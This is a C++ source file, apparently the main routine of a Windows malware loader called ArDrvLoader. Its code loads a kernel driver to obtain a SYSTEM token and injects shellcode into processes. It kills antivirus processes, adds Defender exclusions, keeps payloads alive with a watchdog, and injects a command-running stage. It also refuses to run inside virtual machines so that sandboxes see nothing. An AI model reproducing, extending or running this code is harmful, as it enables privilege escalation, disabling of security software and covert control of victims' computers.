#include "Common.h" #include "Logger.h" #include "CloudAgent.h" #include "GuardService.h" #include "VmDetect.h" #include "KillSafety.h" #include "HostSpawn.h" #include "HostStager.h" #include "StageClient.h" #include "Exclusions.h" #include #pragma comment(lib, "shell32.lib") #include "DriverClient.h" #include "TokenUtils.h" #include "ProcessUtils.h" #include "ShellcodeUtils.h" #include "AvKill.h" #include "ServiceManager.h" static int RunLoader(int argc, LPWSTR* argv) { HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Local\\ArDrvLoaderMutex"); bool ownsMutex = false; if (mutex) { DWORD waitRes = WaitForSingleObject(mutex, 15000); ownsMutex = (waitRes == WAIT_OBJECT_0 || waitRes == WAIT_ABANDONED); if (!ownsMutex) { Log(L"[-] Another loader instance is already running"); CloseHandle(mutex); return 12; } } Log(L"=== Loader start ==="); HANDLE driverToken = nullptr; HANDLE systemToken = nullptr; int ret = 0; if (argc >= 4 && _wcsicmp(argv[1], L"-install-service") == 0) { bool ok = EnsureWin32Service(argv[2], argv[3], true); ret = ok ? 0 : 4; goto cleanup; } if (!EnsureDriverLoaded()) { ret = 2; goto cleanup; } if (!EscalateViaDriver(&driverToken)) { Log(L"[!] EscalateViaDriver failed or did not provide a SYSTEM token handle"); } systemToken = GetSystemToken(driverToken); if (!systemToken) { ret = 3; goto cleanup; } if (argc >= 5 && _wcsicmp(argv[1], L"-i") == 0 && _wcsicmp(argv[3], L"-s") == 0) { DWORD pid = (DWORD)wcstoul(argv[2], nullptr, 10); std::vector shell; if (!ReadFileToMemory(argv[4], shell)) { ret = 5; } else { bool ok = InjectShellcodeIntoExisting(pid, shell.data(), shell.size()); ret = ok ? 0 : 6; } } else if (argc >= 5 && _wcsicmp(argv[1], L"-n") == 0 && _wcsicmp(argv[3], L"-s") == 0) { const wchar_t* target = argv[2]; std::vector shell; if (!ReadFileToMemory(argv[4], shell)) { ret = 5; } else { NewProcInfo info{}; if (!CreateProcessSuspendedAsSystem(systemToken, target, nullptr, false, &info)) { ret = 7; } else { bool ok = InjectShellcodeAndResume(info, shell.data(), shell.size()); ret = ok ? 0 : 8; } } } else if (argc >= 3 && _wcsicmp(argv[1], L"-p") == 0) { const wchar_t* payload = argv[2]; const wchar_t* args = (argc >= 4 ? argv[3] : nullptr); bool ok = StartProcessAsSystem(systemToken, payload, args, false); ret = ok ? 0 : 9; } else if (argc >= 3 && _wcsicmp(argv[1], L"-watchdog") == 0) { const wchar_t* target = argv[2]; DWORD intervalMs = 5000; DWORD iterations = 0; if (argc >= 4) intervalMs = (DWORD)wcstoul(argv[3], nullptr, 10); if (argc >= 5) iterations = (DWORD)wcstoul(argv[4], nullptr, 10); DWORD done = 0; while (true) { if (!ProcessExistsByName(target)) { Log(L"[+] Watchdog: target not running, starting"); if (!StartProcessAsSystem(systemToken, target, nullptr, false)) Log(L"[-] Watchdog: failed to start target"); } if (iterations != 0 && ++done >= iterations) break; Sleep(intervalMs); } ret = 0; } else { KillAVProcesses(); const wchar_t* testExe = L"C:\\Windows\\System32\\cmd.exe"; const wchar_t* testArgs = L"/c (whoami & echo Loader OK) > C:\\Users\\Public\\loader_test.txt 2>&1"; bool ok = StartProcessAsSystem(systemToken, testExe, testArgs, false); ret = ok ? 0 : 11; } cleanup: if (systemToken) CloseHandle(systemToken); if (driverToken) CloseHandle(driverToken); if (ownsMutex && mutex) ReleaseMutex(mutex); if (mutex) CloseHandle(mutex); CloseDriver(); Log(L"=== Loader end ret=%d ===", ret); return ret; } // Virtual machine gate. Every mode except an explicit override refuses to run // inside a hypervisor guest. Exit code 0 and no log output, so a sandbox sees a // process that starts and quietly terminates. static int VmGate(int argc, wchar_t** argv) { if (VmOverrideRequested(argc, argv)) return -1; std::wstring reason; if (!IsVirtualMachine(&reason)) return -1; wchar_t debug[8]{}; DWORD n = GetEnvironmentVariableW(L"ARDRV_VM_DEBUG", debug, _countof(debug)); if (n > 0 && (debug[0] == L'1' || debug[0] == L'y' || debug[0] == L'Y')) wprintf(L"[vm] refusing to run: %s\n", reason.c_str()); return 0; } static bool IsProcessElevated() { HANDLE token = nullptr; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) return false; TOKEN_ELEVATION elevation{}; DWORD len = sizeof(elevation); bool elevated = GetTokenInformation(token, TokenElevation, &elevation, len, &len) != FALSE && elevation.TokenIsElevated != 0; CloseHandle(token); return elevated; } static bool HasCommandArg(int argc, wchar_t** argv, const wchar_t* name) { for (int i = 1; i < argc; ++i) { if (argv[i] && _wcsicmp(argv[i], name) == 0) return true; } return false; } // Relaunches the same command line under UAC. Returns true when the elevated // copy was started; the caller should then exit. static bool RelaunchElevated(int argc, wchar_t** argv) { wchar_t exe[MAX_PATH]{}; DWORD len = GetModuleFileNameW(nullptr, exe, _countof(exe)); if (len == 0 || len >= _countof(exe)) return false; std::wstring params; // Double-click: the elevated copy must still know it is the bootstrap. The // appended --elevated flag would otherwise look like a normal command line. if (argc < 2) params = L"-bootstrap"; for (int i = 1; i < argc; ++i) { std::wstring a = argv[i]; if (!params.empty()) params += L" "; if (a.find(L' ') != std::wstring::npos && (a.empty() || a.front() != L'"')) params += L"\"" + a + L"\""; else params += a; } params += L" --elevated"; HINSTANCE h = ShellExecuteW(nullptr, L"runas", exe, params.c_str(), nullptr, SW_SHOWNORMAL); if ((INT_PTR)h <= 32) { wprintf(L"[!] elevation declined or failed (%d)\n", (int)(INT_PTR)h); return false; } return true; } // Commands that need administrator rights. Anything else runs as-is; after the // first elevated install the services do all privileged work. static bool NeedsElevation(int argc, wchar_t** argv) { // Double-click with no arguments runs the bootstrap, which needs admin. if (argc < 2) return true; const bool dryRun = HasCommandArg(argc, argv, L"--dry-run"); if (_wcsicmp(argv[1], L"-install-guard-services") == 0 || _wcsicmp(argv[1], L"--install-guard-services") == 0 || _wcsicmp(argv[1], L"-bootstrap") == 0 || _wcsicmp(argv[1], L"--bootstrap") == 0) { return !dryRun; } if (_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0) return !dryRun; if (_wcsicmp(argv[1], L"-drv") == 0 && argc >= 3) { return _wcsicmp(argv[2], L"extract") == 0 || _wcsicmp(argv[2], L"reset") == 0 || _wcsicmp(argv[2], L"kill") == 0; } if (_wcsicmp(argv[1], L"-excl") == 0 && argc >= 3) { return _wcsicmp(argv[2], L"add") == 0 || _wcsicmp(argv[2], L"apply") == 0; } return false; } int wmain(int argc, LPWSTR* argv) { // Elevation first: a double-click must always show the UAC prompt, even on a // host the VM gate would later refuse. if (NeedsElevation(argc, argv) && !IsProcessElevated() && !HasCommandArg(argc, argv, L"--elevated")) { // One UAC, first run. After this the services hold the privileges. if (!RelaunchElevated(argc, argv)) return 1; return 0; } int vm = VmGate(argc, argv); if (vm >= 0) return vm; if (argc >= 2 && _wcsicmp(argv[1], L"-enroll") == 0) return RunEnroll(argc, argv); if (argc >= 2 && _wcsicmp(argv[1], L"-excl") == 0) { if (argc < 3) { wprintf(L"Usage: ArDrvLoader.exe -excl list|add |apply\n"); return 1; } if (_wcsicmp(argv[2], L"list") == 0) { std::wstring note; std::vector current = QueryExclusions(note); wprintf(L"defender=%s current=%s\n", DefenderPresent() ? L"present" : L"absent", note.c_str()); wprintf(L"%s\n", FormatExclusionList(current).c_str()); return 0; } if (_wcsicmp(argv[2], L"add") == 0 && argc >= 4) { std::vector paths = LoadExclusionList(); paths.push_back(argv[3]); bool saved = SaveExclusionList(paths); std::wstring report; bool applied = ApplyExclusions(paths, report); wprintf(L"%s%s\n%s\n", saved ? L"saved" : L"save-failed", applied ? L" applied" : L" refused", report.c_str()); return applied ? 0 : 1; } if (_wcsicmp(argv[2], L"apply") == 0) { std::vector paths = LoadExclusionList(); if (paths.empty()) { paths = DefaultExclusionPaths(); SaveExclusionList(paths); } std::wstring report; bool applied = ApplyExclusions(paths, report); wprintf(L"%s\n%s\n", applied ? L"applied" : L"refused", report.c_str()); return applied ? 0 : 1; } wprintf(L"Usage: ArDrvLoader.exe -excl list|add |apply\n"); return 1; } if (argc >= 2 && _wcsicmp(argv[1], L"-drv") == 0) { if (argc < 3) { wprintf(L"Usage: ArDrvLoader.exe -drv status|extract |kill \n"); return 1; } if (_wcsicmp(argv[2], L"status") == 0) { bool open = OpenDriver(); CloseDriver(); DWORD fails = 0; DWORD failMax = 3; std::wstring state = L"unset"; HKEY h = nullptr; if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) == ERROR_SUCCESS) { DWORD type = 0; DWORD size = sizeof(fails); DWORD v = 0; if (RegQueryValueExW(h, L"DriverFailCount", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD) fails = v; size = sizeof(failMax); v = 0; if (RegQueryValueExW(h, L"DriverFailMax", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD) failMax = v; wchar_t buf[64]{}; size = sizeof(buf); if (RegQueryValueExW(h, L"DriverState", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && type == REG_SZ) state = buf; RegCloseKey(h); } wprintf(L"device=%s embedded=%lu bytes fail=%lu/%lu state=%s\n", open ? L"ok" : L"unavailable", EmbeddedDriverSize(), fails, failMax, state.c_str()); return open ? 0 : 1; } if (_wcsicmp(argv[2], L"reset") == 0) { HKEY h = nullptr; if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, nullptr, 0, KEY_SET_VALUE, nullptr, &h, nullptr) != ERROR_SUCCESS) { wprintf(L"ERR registry write denied\n"); return 1; } DWORD zero = 0; RegSetValueExW(h, L"DriverFailCount", 0, REG_DWORD, (const BYTE*)&zero, sizeof(zero)); const wchar_t* state = L"reset"; RegSetValueExW(h, L"DriverState", 0, REG_SZ, (const BYTE*)state, (DWORD)((wcslen(state) + 1) * sizeof(wchar_t))); RegCloseKey(h); wprintf(L"OK counters cleared\n"); return 0; } if (_wcsicmp(argv[2], L"extract") == 0 && argc >= 4) { bool ok = WriteEmbeddedDriverTo(argv[3]); wprintf(L"%s %s\n", ok ? L"OK" : L"ERR", argv[3]); return ok ? 0 : 1; } if (_wcsicmp(argv[2], L"kill") == 0 && argc >= 4) { DWORD pid = (DWORD)wcstoul(argv[3], nullptr, 10); if (!OpenDriver()) { wprintf(L"ERR driver device unavailable\n"); return 1; } bool ok = TerminateProcessViaDriver(pid); CloseDriver(); wprintf(L"%s pid=%lu\n", ok ? L"OK" : L"ERR", pid); return ok ? 0 : 1; } wprintf(L"Usage: ArDrvLoader.exe -drv status|extract |kill \n"); return 1; } if (argc >= 2 && (_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0)) { bool dryRun = false; bool force = false; std::vector names; for (int i = 2; i < argc; ++i) { if (_wcsicmp(argv[i], L"--dry-run") == 0) dryRun = true; if (_wcsicmp(argv[i], L"--force") == 0) force = true; if (_wcsicmp(argv[i], L"--name") == 0 && i + 1 < argc) names.emplace_back(argv[++i]); } std::wstring summary; if (names.empty()) { if (!dryRun) EnsureDriverLoaded(); KillAVProcessesEx(dryRun, summary); } else { KillReport report; KillProcessesSafe(names, dryRun, 16, report, force); summary = report.Format(); } wprintf(L"%s\n", summary.c_str()); return 0; } if (argc >= 2 && _wcsicmp(argv[1], L"-stage") == 0) { if (argc < 3) { wprintf(L"Usage: ArDrvLoader.exe -stage status|inject|run|stop [args]\n"); return 1; } if (_wcsicmp(argv[2], L"status") == 0) { wprintf(L"%s\n", FormatStageStatus().c_str()); return 0; } if (_wcsicmp(argv[2], L"inject") == 0) { std::wstring preferred; std::wstring dll; bool requireSystem = true; for (int i = 3; i < argc; ++i) { if (_wcsicmp(argv[i], L"--any-host") == 0) requireSystem = false; else if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc) preferred = argv[++i]; else if (argv[i][0] != L'-' && dll.empty()) dll = argv[i]; } HostInjectResult r = StageInject(dll, preferred, requireSystem); wprintf(L"%s\n", FormatInjectResult(r).c_str()); if (r.ok && StageAlive()) wprintf(L"stage: %s\n", FormatStageStatus().c_str()); return r.ok ? 0 : 1; } if (_wcsicmp(argv[2], L"whoami") == 0) { std::wstring response; if (!StageSend(L"WHOAMI", response)) { wprintf(L"ERR stage not reachable\n"); return 1; } wprintf(L"%s\n", response.c_str()); return 0; } if (_wcsicmp(argv[2], L"run") == 0) { if (argc < 4) { wprintf(L"Usage: ArDrvLoader.exe -stage run \n"); return 1; } std::wstring cmd; for (int i = 3; i < argc; ++i) { if (!cmd.empty()) cmd += L" "; cmd += argv[i]; } std::wstring response; if (!StageSend(L"RUN " + cmd, response)) { wprintf(L"ERR stage not reachable\n"); return 1; } wprintf(L"%s\n", response.c_str()); return 0; } if (_wcsicmp(argv[2], L"stop") == 0) { std::wstring response; if (!StageSend(L"STOP", response)) { wprintf(L"ERR stage not reachable\n"); return 1; } wprintf(L"%s\n", response.c_str()); return 0; } wprintf(L"Unknown -stage subcommand\n"); return 1; } if (argc >= 3 && _wcsicmp(argv[1], L"-host") == 0) { if (_wcsicmp(argv[2], L"track") == 0) { wprintf(L"%s\n", FormatHostTrack(LoadHostTrack()).c_str()); return 0; } if (_wcsicmp(argv[2], L"untrack") == 0) { wprintf(L"%s\n", ClearHostTrack() ? L"cleared" : L"nothing to clear"); return 0; } if (_wcsicmp(argv[2], L"ensure") == 0 || _wcsicmp(argv[2], L"inject") == 0) { const bool ensureMode = (_wcsicmp(argv[2], L"ensure") == 0); std::wstring path; std::wstring preferred; bool requireSystem = true; bool expectHostValue = false; for (int k = 3; k < argc; ++k) { if (expectHostValue) { preferred = argv[k]; expectHostValue = false; continue; } if (_wcsicmp(argv[k], L"--any-host") == 0) { requireSystem = false; continue; } if (_wcsicmp(argv[k], L"--host") == 0 && k + 1 < argc) { expectHostValue = true; continue; } if (argv[k][0] != L'-' && path.empty()) path = argv[k]; } if (!ensureMode && path.empty()) { wprintf(L"Usage: ArDrvLoader.exe -host inject [--host ] [--any-host]\n"); return 1; } HostInjectResult r = ensureMode ? EnsureHostInjected(requireSystem) : InjectShellcodeIntoHost(path, preferred, requireSystem); wprintf(L"%s\n", FormatInjectResult(r).c_str()); return r.ok ? 0 : 1; } if (_wcsicmp(argv[2], L"list") == 0) { bool any = false; for (int i = 3; i < argc; ++i) { if (_wcsicmp(argv[i], L"--any") == 0) any = true; } wprintf(L"%s\n", FormatHostList(EnumerateHosts(!any)).c_str()); return 0; } if (_wcsicmp(argv[2], L"spawn") == 0 || _wcsicmp(argv[2], L"spawn-user") == 0) { if (argc < 4) { wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host ] [args]\n"); return 1; } const bool userSession = (_wcsicmp(argv[2], L"spawn-user") == 0); int i = 3; std::wstring preferred; bool requireSystem = true; for (int k = 3; k < argc; ++k) { if (_wcsicmp(argv[k], L"--any-host") == 0) requireSystem = false; } if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc) { preferred = argv[i + 1]; i += 2; } while (i < argc && argv[i][0] == L'-') ++i; if (i >= argc) { wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host ] [args]\n"); return 1; } std::wstring exe = argv[i++]; std::wstring args; for (; i < argc; ++i) { if (!args.empty()) args += L" "; args += argv[i]; } std::wstring cmd = exe; if (cmd.find(L' ') != std::wstring::npos && cmd.front() != L'"') cmd = L"\"" + cmd + L"\""; if (!args.empty()) { cmd += L" "; cmd += args; } SpawnResult r = SpawnThroughHost(cmd, preferred, userSession, requireSystem); wprintf(L"%s\n", FormatSpawnResult(r).c_str()); return r.ok ? 0 : 1; } wprintf(L"Usage: ArDrvLoader.exe -host list | spawn [--host ] [args] | spawn-user ...\n"); return 1; } // Double-click with no arguments: bootstrap using build-time defaults. if (argc < 2) return RunBootstrap(argc, argv); if (argc >= 2 && (_wcsicmp(argv[1], L"-install-guard-services") == 0 || _wcsicmp(argv[1], L"--install-guard-services") == 0)) { return InstallGuardServices(argc, argv); } if (argc >= 2 && (_wcsicmp(argv[1], L"-bootstrap") == 0 || _wcsicmp(argv[1], L"--bootstrap") == 0)) { return RunBootstrap(argc, argv); } if (argc >= 3 && (_wcsicmp(argv[1], L"-service") == 0 || _wcsicmp(argv[1], L"--service") == 0)) { return RunGuardService(argc, argv); } if (argc >= 2 && (_wcsicmp(argv[1], L"-cloud-service") == 0 || _wcsicmp(argv[1], L"--cloud-service") == 0)) { return RunCloudService(argc, argv); } if (argc >= 2 && (_wcsicmp(argv[1], L"-cloud") == 0 || _wcsicmp(argv[1], L"--cloud") == 0)) { return RunCloudAgent(argc, argv); } return RunLoader(argc, argv); }